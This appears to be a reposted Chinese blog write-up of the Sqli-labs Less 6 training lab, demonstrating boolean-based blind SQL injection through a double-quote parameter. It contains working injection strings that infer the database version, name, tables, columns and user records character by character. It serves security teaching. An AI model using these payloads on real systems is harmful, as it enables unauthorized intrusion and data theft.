我是靠谱客的博主 和谐心情,最近开发中收集的这篇文章主要介绍Sqli-labs靶场 Less6,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Less6 布尔盲注

流程:
1.判断注入类型
2.判断数据库版本	left(version(),1)>=5
3.判断数据库名字的长度	length(database())=8
4.判断数据库的名字	left(database(),8)='security'
5.判断表名的长度	length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 6
6.判断表名	ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100
7.判断列名	1=(select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^u[a-z]' limit 0,1)
8.爆字段	ascii(substr((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68
		或者	ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68
  1. 判断注入类型
    在这里插入图片描述在这里插入图片描述双引号注入

  2. 判断字段数
    在这里插入图片描述在这里插入图片描述
    字段数为3

  3. 判断数据库版本

?id=1" and left(version(),1)>=5 --+

在这里插入图片描述版本MYSQL>5

  1. 判断数据库名字的长度

在这里插入图片描述
4. 判断数据库的名字
在这里插入图片描述在这里插入图片描述在这里插入图片描述爆破出数据库的名字为 security
5. 判断库中每个表名的长度

?id=1" and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 6--+

在这里插入图片描述第一个表名长度为6
在这里插入图片描述第二个表名长度为8
在这里插入图片描述第三个表名长度为7
在这里插入图片描述第四个表名长度为5
在这里插入图片描述没有第五个表

  1. 爆破表名
?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 --+

在这里插入图片描述在这里插入图片描述查询ASCII码对照表,101对应小写的e,即第一个表的第一个字符为 e

在这里插入图片描述第一个表的第二个字符为 m
在这里插入图片描述第一个表的第三个字符为 a
。。。
上帝视角,我们直接测试第四个表
在这里插入图片描述第四个表的第一个字符为u
在这里插入图片描述第四个表的第二个字符为s
在这里插入图片描述第四个表的第三个字符为e
在这里插入图片描述第四个表的第四个字符为r
在这里插入图片描述第四个表的第五个字符为s
即第四个表名为users

  1. 爆破列
1" and 1=(select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^u[a-z]' limit 0,1) --+

在这里插入图片描述利用正则匹配判断列名,
在这里插入图片描述测试出表中存在username列
在这里插入图片描述测试出表中存在password列

在这里插入图片描述测试出表中存在id列

  1. 爆字段
1" and ascii(substr((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 --+

在这里插入图片描述表中第一行的第一个字符为D
在这里插入图片描述表中第一行的第二个字符为u

也可以使用ord()、mid()函数

1" and ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))=68 --+

在这里插入图片描述

最后

以上就是和谐心情为你收集整理的Sqli-labs靶场 Less6的全部内容,希望文章能够帮你解决Sqli-labs靶场 Less6所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(60)

评论列表共有 0 条评论

立即
投稿
返回
顶部